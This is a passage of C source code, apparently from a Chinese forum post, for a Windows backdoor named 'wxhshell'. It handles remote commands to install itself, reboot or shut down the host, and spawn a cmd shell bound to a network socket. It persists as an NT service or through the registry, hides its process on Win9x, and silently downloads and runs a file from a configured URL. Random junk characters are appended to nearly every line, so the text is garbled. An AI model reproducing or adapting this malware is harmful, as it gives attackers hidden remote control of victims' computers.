    switch(cmd[0]) { Ooc,R(  
  Zla5$GM  
  // 帮助 -9}]J\  
  case '?': { g % q7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ppN96-]^0  
    break; |q^e&M<  
  } rVzj LkN^  
  // 安装 P-K\)65{Y  
  case 'i': { !O@qqg(>  
    if(Install()) ]d_Id]Qa+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "@Ra>qb  
    else Ik>sd@X*|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %((F} 9_6  
    break; ppR~e*rv-  
    } =\J^_g4-l  
  // 卸载 =:P9 $  
  case 'r': { @Rig@  
    if(Uninstall()) 93kSBF#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  h#^IT  
    else @NlnZfMu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SY`NZJK  
    break; !vr">@}K  
    } hx+a.N  
  // 显示 wxhshell 所在路径 kMo;<Z  
  case 'p': { U;i:k%Bzy  
    char svExeFile[MAX_PATH]; pTOS}A[dh  
    strcpy(svExeFile,"\n\r"); ?q7V B  
      strcat(svExeFile,ExeFile); @Q !f^  
        send(wsh,svExeFile,strlen(svExeFile),0); {O5;V/00}  
    break; f6PXcV  
    } *hF5cM[  
  // 重启 McNj TD  
  case 'b': { vs{i2!^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $d:/cN 8E  
    if(Boot(REBOOT))  &e7yX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r|fJ~0z  
    else { &w*.S@  ;  
    closesocket(wsh); Z=z'j8z3  
    ExitThread(0); |08tQ  
    } QVL92"  
    break; :o*{.  
    } Fb*^GH)J  
  // 关机 AVOqW0Z+y  
  case 'd': { 8 fVI33  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @+syD  
    if(Boot(SHUTDOWN)) 3VCyq7 B^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x7L$x=8s  
    else { YMIDV-  
    closesocket(wsh); _;yp^^S  
    ExitThread(0); m qPWCFP  
    } 7{D +\i  
    break; o83HR[  
    } ym2\o_^(  
  // 获取shell -qs.'o ;2  
  case 's': { 5L42'gJ  
    CmdShell(wsh); W ;,Uh E  
    closesocket(wsh); wDem }uO  
    ExitThread(0); 2xni! *T+  
    break; IA&((\YC  
  } Xleoh2&M  
  // 退出 :)q/8 0@  
  case 'x': { r*>XkM& M  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4^w>An6  
    CloseIt(wsh); RB\>$D  
    break; bG^E]a/D  
    } hnvn&{|  
  // 离开 mz+>rc  
  case 'q': { xaoaZ3Ko  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); x|U]x  
    closesocket(wsh); ti`z:8n7  
    WSACleanup(); m589C+7  
    exit(1); )cUc}Avg}  
    break; bNFX+GA/  
        } C&NoEtL>s  
  } 59$mfW o>  
  } 7_E+y$i=  
6^mO<nB   
  // 提示信息 3+{hO@ O  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WWrD r  
} !!o 69  
  } 5A7!Xd  
YXg:cXE8e  
  return; _:c8YJEG{  
} s8WA@)L  
z/F(z*'v  
// shell模块句柄 QD+dP nZu  
int CmdShell(SOCKET sock) w<J$12 "p+  
{ Vhz?9i6|g^  
STARTUPINFO si; '|J-8"  
ZeroMemory(&si,sizeof(si)); }f^K}*sK$5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WyA>OB<Zeq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )}~k7bb}Y  
PROCESS_INFORMATION ProcessInfo; vo!:uvy;2  
char cmdline[]="cmd"; dB<BEe\$g.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ZA1?'  
  return 0; , y{o!w  
} 8s?;<6  
\&2GLBKpe  
// 自身启动模式 ;#EB0TK  
int StartFromService(void) cw/g1,p  
{ (FH4\'t)  
typedef struct 3y r{B Xn  
{ uEVRk9nb  
  DWORD ExitStatus; m1]rLeeEt  
  DWORD PebBaseAddress; JI3AR e?y  
  DWORD AffinityMask; &ad9VB7  
  DWORD BasePriority; me1ac\  
  ULONG UniqueProcessId; M4nM%qRGQ  
  ULONG InheritedFromUniqueProcessId; v_{`O'#j^  
}   PROCESS_BASIC_INFORMATION; '}P)iS2  
<H}"xp)j0  
PROCNTQSIP NtQueryInformationProcess; #MHn J  
_UjAct]6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u<!!%C~+=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <C+ :hsS=  
{8@?9Z9R{  
  HANDLE             hProcess; e~'y%|D  
  PROCESS_BASIC_INFORMATION pbi; 2i |wQU5w  
]v rpr%K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3hO` GM  
  if(NULL == hInst ) return 0; W E|L{  
fS1N(RZ 1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y"cK@sOo  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9s73mu`Twg  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  R(k6S  
z;#}u C  
  if (!NtQueryInformationProcess) return 0; u\^<V)  
I y8gQdI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); K?-K<3]9f  
  if(!hProcess) return 0; A{x &5yX8  
]8+%57:E  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +**H7: bO  
^T(l3r  
  CloseHandle(hProcess); =ub&@~E  
mgG0uV  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^yy\CtG  
if(hProcess==NULL) return 0; O4 \GL  
.N_0rPO,Kw  
HMODULE hMod; *S~. KW[  
char procName[255]; )\`TZLR  
unsigned long cbNeeded; |A'8'z&q  
R!*UU'se  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bt%k;Z]  
f@\ k_  
  CloseHandle(hProcess); F m h;d*IT  
w,eYrxR|N  
if(strstr(procName,"services")) return 1; // 以服务启动 [ueT]%  
%CF(SK2w  
  return 0; // 注册表启动 -T4?5T_  
} C.8]~MP  
Haj`mc!<D0  
// 主模块 >bz}IcZP  
int StartWxhshell(LPSTR lpCmdLine) IJS9%m#  
{ .A\9|sRZ5  
  SOCKET wsl; fAUtqkB  
BOOL val=TRUE; "uTzmm$  
  int port=0; .}SW`R Pk  
  struct sockaddr_in door; "h$A.S  
Bq79Ev .-  
  if(wscfg.ws_autoins) Install(); 8@6:UR.)  
mEz&:A  
port=atoi(lpCmdLine); j,6dGb  
k W/3 Aq7r  
if(port<=0) port=wscfg.ws_port; ORcl=Eo>  
tq<7BO<6  
  WSADATA data; PS`)6yn{_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?h1]s&^| 2  
hP3I_I[qF}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5{,/m"-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zhHQJcQ.  
  door.sin_family = AF_INET; W qci51y>#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )P:TVe9`  
  door.sin_port = htons(port); u6t.$a!5  
pL-p  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ecA0z c~  
closesocket(wsl); jl3RE|M\<  
return 1; ;OPzT9  
} ws?p2$Cla  
}(op;7  
  if(listen(wsl,2) == INVALID_SOCKET) { g3LAi#m  
closesocket(wsl); b=K    
return 1; qa`bR%eH  
} RBt"7'  
  Wxhshell(wsl); /}#z/m@bN  
  WSACleanup(); ofcoNLX5c  
#`y7L4V*o  
return 0; 6dC!&leNi  
9p2"5x  
} ,8+SQo #3  
p8Lb*7W  
// 以NT服务方式启动 )"t=sFxaB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bC?t4-W  
{ Wj.)wr!  
DWORD   status = 0; A-ir   
  DWORD   specificError = 0xfffffff; > ^n'  
f`/JY!u j{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;P5\EJo  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [rqq*_eB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H'?Bx>X  
  serviceStatus.dwWin32ExitCode     = 0; -("79v>#  
  serviceStatus.dwServiceSpecificExitCode = 0; Pa0tf:  
  serviceStatus.dwCheckPoint       = 0; |= N8X  
  serviceStatus.dwWaitHint       = 0; s67$tlV  
;Qk*h'}f  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); aJI>qk h?]  
  if (hServiceStatusHandle==0) return; Yfxc$ub  
Mgcq'{[~Y=  
status = GetLastError(); *=@Z\]"?  
  if (status!=NO_ERROR) ;&Eu< %y  
{ |=jgrm1yj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; p_B,7@Jl  
    serviceStatus.dwCheckPoint       = 0; <| Xf4.  
    serviceStatus.dwWaitHint       = 0; $'?CY)h{  
    serviceStatus.dwWin32ExitCode     = status; jpm}EOq<%  
    serviceStatus.dwServiceSpecificExitCode = specificError; VaVKWJg$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); rIW`(IG_  
    return; ;X|;/@@  
  } zr84%_^  
KW+^9&lA  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; dr,j~s  
  serviceStatus.dwCheckPoint       = 0; dL6sb;7R  
  serviceStatus.dwWaitHint       = 0; d/P$qMD  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I[tU}ojP  
} +vDT^|2SF  
s:I^AL5  
// 处理NT服务事件,比如:启动、停止 () b0Sh=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =*8"ci $  
{ !QcgTW)T  
switch(fdwControl) ~z32%k  
{ >=C)\Yfu)  
case SERVICE_CONTROL_STOP: XRP/E_4  
  serviceStatus.dwWin32ExitCode = 0; xhg{!w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d@,q6R}!MP  
  serviceStatus.dwCheckPoint   = 0; JXUO?9  
  serviceStatus.dwWaitHint     = 0; hl6al:Y  
  { 2=F_<Jh|+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I?bL4u$\  
  } %b@>riR(y  
  return; e!eWwC9u  
case SERVICE_CONTROL_PAUSE: rLh490@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,_\h)R_  
  break; "pMXTRb  
case SERVICE_CONTROL_CONTINUE: la|#SS95  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u+8_et5T  
  break; R;I}#b cJ  
case SERVICE_CONTROL_INTERROGATE: >tib21*  
  break; !l.Rv_o<O  
}; K# _plpr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z_A%>E4  
} WYEvW<Hv  
3i35F.=X,  
// 标准应用程序主函数 ^]E| >~\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /*r MveT  
{ FCqs'  
Pbm ;@ V  
// 获取操作系统版本 Wd~}O<"  
OsIsNt=GetOsVer(); 7@+0E 2'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); s_D7?o  
K8284A8v  
  // 从命令行安装 'Nfg%)-N  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1D=My1B  
GbB&kE3KP  
  // 下载执行文件 Haq23K  
if(wscfg.ws_downexe) { eUF PzioW  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) IQ2<Pinv  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6D0uLh  
} ',juZ[]_ {  
g&_0)(a\  
if(!OsIsNt) { -bo0!@MK  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~5p `Kg*  
HideProc(); tH>%`:  
StartWxhshell(lpCmdLine); t@4X(i0  
} ^9cqT2:t  
else = 2My-%i  
  if(StartFromService()) {oz04KGsH  
  // 以服务方式启动 v oC< /}E  
  StartServiceCtrlDispatcher(DispatchTable); |mMW"(~  
else tkNuM0  
  // 普通方式启动 ':.d,x)  
  StartWxhshell(lpCmdLine); LjxTRtB_  
F\,3z7s  
return 0; Y`lC4*g  
}
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只看该作者 1 发表于: 2006-10-10
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